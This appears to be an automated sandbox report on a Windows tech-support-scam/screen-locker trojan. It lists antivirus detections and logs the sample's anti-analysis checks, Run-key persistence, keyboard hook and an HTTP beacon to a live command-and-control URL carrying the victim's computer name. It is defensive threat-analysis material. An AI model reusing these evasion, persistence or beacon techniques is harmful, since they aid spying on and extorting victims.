7.2
高危
52 个模型检测该样本为恶意！
重新分析
更多

47f2a6b70dc653d3d52c80f357088cac6c373778f1445820f369fe088b1a8c42

74610daaaa2d20420f1b37e1634c67aa.exe

分析耗时

91s

最近分析

文件大小

61.0KB
静态报毒 动态报毒 100% AGKV AI SCORE=100 ARTEMIS CLOUD CONFIDENCE DM2@AOMRRYP EPZD FAKEALERT FAKESUPPORT FAKESUPPORTSCAM GRAYWARE HIGH CONFIDENCE JCAQJ KCLOUD MALCERT MALWARE@#1014YSPIK2NFA RAYH SAVE SCORE SCREENLOCK SUSGEN TSCOPE UNSAFE UWASSON ZEMSILF 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
McAfee Artemis!74610DAAAA2D 20210222 6.0.6.653
Alibaba Trojan:MSIL/FakeSupport.add6c51e 20190527 0.3.0.5
Baidu 20190318 1.0.0.2
Avast Win32:Trojan-gen 20210222 21.1.5827.0
Kingsoft Win32.Troj.Undef.(kcloud) 20210222 2017.9.26.565
Tencent Msil.Trojan.Fakesupport.Agkv 20210222 1.0.0.1
CrowdStrike win/malicious_confidence_100% (W) 20210203 1.0
静态指标
Queries for the computername (50 个事件)
Time & API Arguments Status Return Repeated
1619608582.549
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608584.705
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608590.533
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608591.783
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608593.017
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608594.252
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608595.486
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608596.72
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608597.955
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608599.189
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608600.439
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608601.674
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608602.924
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608604.158
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608605.424
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608606.674
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608607.908
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608609.205
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608610.752
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608611.986
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608613.236
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608614.47
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608615.72
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608617.002
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608618.236
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608619.47
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608620.705
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608621.939
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608623.174
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608624.424
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608625.658
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608626.892
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608628.127
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608629.361
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608630.595
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608631.845
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608633.08
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608634.314
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608635.549
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608636.783
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608638.033
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608639.299
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608640.517
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608642.142
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608643.392
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608644.705
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608645.924
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608647.236
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608648.455
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619608649.674
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
Checks if process is being debugged by a debugger (2 个事件)
Time & API Arguments Status Return Repeated
1619608578.924
IsDebuggerPresent
failed 0 0
1619608578.924
IsDebuggerPresent
failed 0 0
This executable is signed
This executable has a PDB path (1 个事件)
pdb_path C:\Back up\backup\Win Act\Win Act\obj\Release\Win Act.pdb
Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 个事件)
Time & API Arguments Status Return Repeated
1619608578.97
GlobalMemoryStatusEx
success 1 0
行为判定
动态指标
HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 个事件)
suspicious_features GET method with no useragent header suspicious_request GET http://themediafox.com/hipop2/locker/api/info?h=VB4d3bbc8a-fd72b187&c=OSKAR-PC&w=0
Performs some HTTP requests (1 个事件)
request GET http://themediafox.com/hipop2/locker/api/info?h=VB4d3bbc8a-fd72b187&c=OSKAR-PC&w=0
Allocates read-write-execute memory (usually to unpack itself) (50 out of 84 个事件)
Time & API Arguments Status Return Repeated
1619608578.158
NtAllocateVirtualMemory
process_identifier: 732
region_size: 589824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x00570000
success 0 0
1619608578.158
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x005c0000
success 0 0
1619608578.58
NtAllocateVirtualMemory
process_identifier: 732
region_size: 2097152
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x00ae0000
success 0 0
1619608578.58
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00ca0000
success 0 0
1619608578.752
NtProtectVirtualMemory
process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73e71000
success 0 0
1619608578.924
NtAllocateVirtualMemory
process_identifier: 732
region_size: 1966080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x00ce0000
success 0 0
1619608578.924
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00e80000
success 0 0
1619608578.924
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0052a000
success 0 0
1619608578.939
NtProtectVirtualMemory
process_identifier: 732
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73e72000
success 0 0
1619608578.939
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00522000
success 0 0
1619608579.377
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00572000
success 0 0
1619608579.627
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00595000
success 0 0
1619608579.627
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0059b000
success 0 0
1619608579.627
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00597000
success 0 0
1619608579.814
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00573000
success 0 0
1619608580.033
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00574000
success 0 0
1619608580.111
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00575000
success 0 0
1619608580.111
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0057c000
success 0 0
1619608580.939
NtAllocateVirtualMemory
process_identifier: 732
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00576000
success 0 0
1619608580.97
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00578000
success 0 0
1619608581.095
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00ae0000
success 0 0
1619608581.299
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0058a000
success 0 0
1619608581.299
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00587000
success 0 0
1619608581.377
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00579000
success 0 0
1619608581.392
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00af0000
success 0 0
1619608581.47
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00586000
success 0 0
1619608581.533
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00af1000
success 0 0
1619608581.58
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00ae1000
success 0 0
1619608581.58
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00af2000
success 0 0
1619608581.627
NtAllocateVirtualMemory
process_identifier: 732
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
base_address: 0xfff40000
success 0 0
1619608581.627
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0xfff40000
success 0 0
1619608581.627
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0xfff40000
success 0 0
1619608581.627
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0xfff48000
success 0 0
1619608581.627
NtAllocateVirtualMemory
process_identifier: 732
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
base_address: 0xfff30000
success 0 0
1619608581.627
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0xfff30000
success 0 0
1619608581.642
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00af3000
success 0 0
1619608581.642
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0057d000
success 0 0
1619608581.736
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00ca1000
success 0 0
1619608581.767
NtAllocateVirtualMemory
process_identifier: 732
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00ae2000
success 0 0
1619608581.767
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00ae4000
success 0 0
1619608582.002
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0057a000
success 0 0
1619608582.158
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00af4000
success 0 0
1619608582.174
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00af5000
success 0 0
1619608582.174
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00af6000
success 0 0
1619608582.174
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00af7000
success 0 0
1619608582.377
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00ae5000
success 0 0
1619608582.377
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00af8000
success 0 0
1619608582.377
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0057e000
success 0 0
1619608582.392
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00ae6000
success 0 0
1619608582.408
NtAllocateVirtualMemory
process_identifier: 732
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00af9000
success 0 0
Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)
Time & API Arguments Status Return Repeated
1619608585.689
GetAdaptersAddresses
flags: 15
family: 0
failed 111 0
Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 个事件)
Time & API Arguments Status Return Repeated
1619608581.72
LookupPrivilegeValueW
system_name:
privilege_name: SeDebugPrivilege
success 1 0
网络通信
Communicates with host for which no DNS query was performed (1 个事件)
host 172.217.24.14
Looks for the Windows Idle Time to determine the uptime (1 个事件)
Time & API Arguments Status Return Repeated
1619608586.08
NtQuerySystemInformation
information_class: 8 (SystemProcessorPerformanceInformation)
success 0 0
A process attempted to delay the analysis task. (1 个事件)
description 74610daaaa2d20420f1b37e1634c67aa.exe tried to sleep 537448463 seconds, actually delayed analysis time by 537448463 seconds
Installs itself for autorun at Windows startup (1 个事件)
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Win Act reg_value C:\Users\Administrator.Oskar-PC\AppData\Roaming\Win_Act\Win Act\1.0.0.0\74610daaaa2d20420f1b37e1634c67aa.exe
Creates a windows hook that monitors keyboard input (keylogger) (1 个事件)
Time & API Arguments Status Return Repeated
1619608581.736
SetWindowsHookExW
thread_identifier: 0
callback_function: 0x00ca1082
module_address: 0x01120000
hook_identifier: 13 (WH_KEYBOARD_LL)
success 524699 0
File has been identified by 52 AntiVirus engines on VirusTotal as malicious (50 out of 52 个事件)
Elastic malicious (high confidence)
MicroWorld-eScan Generic.Malware.SLc.552ACE4C
FireEye Generic.Malware.SLc.552ACE4C
McAfee Artemis!74610DAAAA2D
Cylance Unsafe
Zillya Trojan.FakeSupport.Win32.169
Sangfor Trojan.Win32.Save.a
K7AntiVirus Trojan ( 005695e91 )
Alibaba Trojan:MSIL/FakeSupport.add6c51e
K7GW Trojan ( 005695e91 )
Cybereason malicious.aaa2d2
Arcabit Generic.Malware.SLc.552ACE4C
BitDefenderTheta Gen:NN.ZemsilF.34574.dm2@aOMrryp
Cyren W32/Trojan.EPZD-7379
Symantec Trojan.Gen.MBT
Avast Win32:Trojan-gen
Kaspersky HEUR:Trojan.MSIL.FakeSupport.gen
BitDefender Generic.Malware.SLc.552ACE4C
Paloalto generic.ml
Rising Trojan.MSIL.KeyLogger!1.647D (CLOUD)
Ad-Aware Generic.Malware.SLc.552ACE4C
Sophos Mal/Generic-S
Comodo Malware@#1014yspik2nfa
F-Secure Trojan.TR/FakeSupport.jcaqj
DrWeb Trojan.Fakealert.59222
VIPRE Trojan.Win32.Generic!BT
McAfee-GW-Edition Artemis!Trojan
Emsisoft MalCert-S.CA (A)
Jiangmin Trojan.MSIL.rayh
eGambit Generic.Malware
Avira TR/FakeSupport.jcaqj
Antiy-AVL GrayWare/Win32.Uwasson
Kingsoft Win32.Troj.Undef.(kcloud)
Gridinsoft Trojan.Win32.Agent.oa
Microsoft Trojan:MSIL/ScreenLock.MB!MTB
AegisLab Trojan.MSIL.FakeSupport.4!c
ZoneAlarm HEUR:Trojan.MSIL.FakeSupport.gen
GData Generic.Malware.SLc.552ACE4C
Cynet Malicious (score: 85)
AhnLab-V3 Malware/Gen.RL_Reputation.C4314949
VBA32 TScope.Trojan.MSIL
MAX malware (ai score=100)
Malwarebytes Trojan.FakeSupport
ESET-NOD32 a variant of MSIL/FakeSupport.DS
Tencent Msil.Trojan.Fakesupport.Agkv
Ikarus Trojan.MSIL.FakeSupportScam
MaxSecure Trojan.Malware.9000873.susgen
Fortinet MSIL/FakeSupport.DS!tr
Webroot W32.Trojan.Gen
AVG Win32:Trojan-gen
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2020-06-25 07:24:03

Imports

Library mscoree.dll:
• 0x402000 _CorExeMain

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49178 208.109.25.159 themediafox.com 80

UDP

Source Source Port Destination Destination Port
192.168.56.101 50002 114.114.114.114 53
192.168.56.101 50568 114.114.114.114 53
192.168.56.101 53237 114.114.114.114 53
192.168.56.101 53380 114.114.114.114 53
192.168.56.101 57756 114.114.114.114 53
192.168.56.101 58367 114.114.114.114 53
192.168.56.101 62318 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 123 20.189.79.72 time.windows.com 123
192.168.56.101 49235 224.0.0.252 5355
192.168.56.101 50534 224.0.0.252 5355
192.168.56.101 51963 224.0.0.252 5355
192.168.56.101 53657 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 57874 224.0.0.252 5355
192.168.56.101 60384 224.0.0.252 5355
192.168.56.101 62191 224.0.0.252 5355
192.168.56.101 62912 224.0.0.252 5355
192.168.56.101 63429 224.0.0.252 5355

HTTP & HTTPS Requests

URI Data
http://themediafox.com/hipop2/locker/api/info?h=VB4d3bbc8a-fd72b187&c=OSKAR-PC&w=0 
GET /hipop2/locker/api/info?h=VB4d3bbc8a-fd72b187&c=OSKAR-PC&w=0 HTTP/1.1
Host: themediafox.com
Connection: Keep-Alive
http://themediafox.com/hipop2/locker/api/info?h=VB4d3bbc8a-fd72b187&c=OSKAR-PC&w=0 
GET /hipop2/locker/api/info?h=VB4d3bbc8a-fd72b187&c=OSKAR-PC&w=0 HTTP/1.1
Host: themediafox.com

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.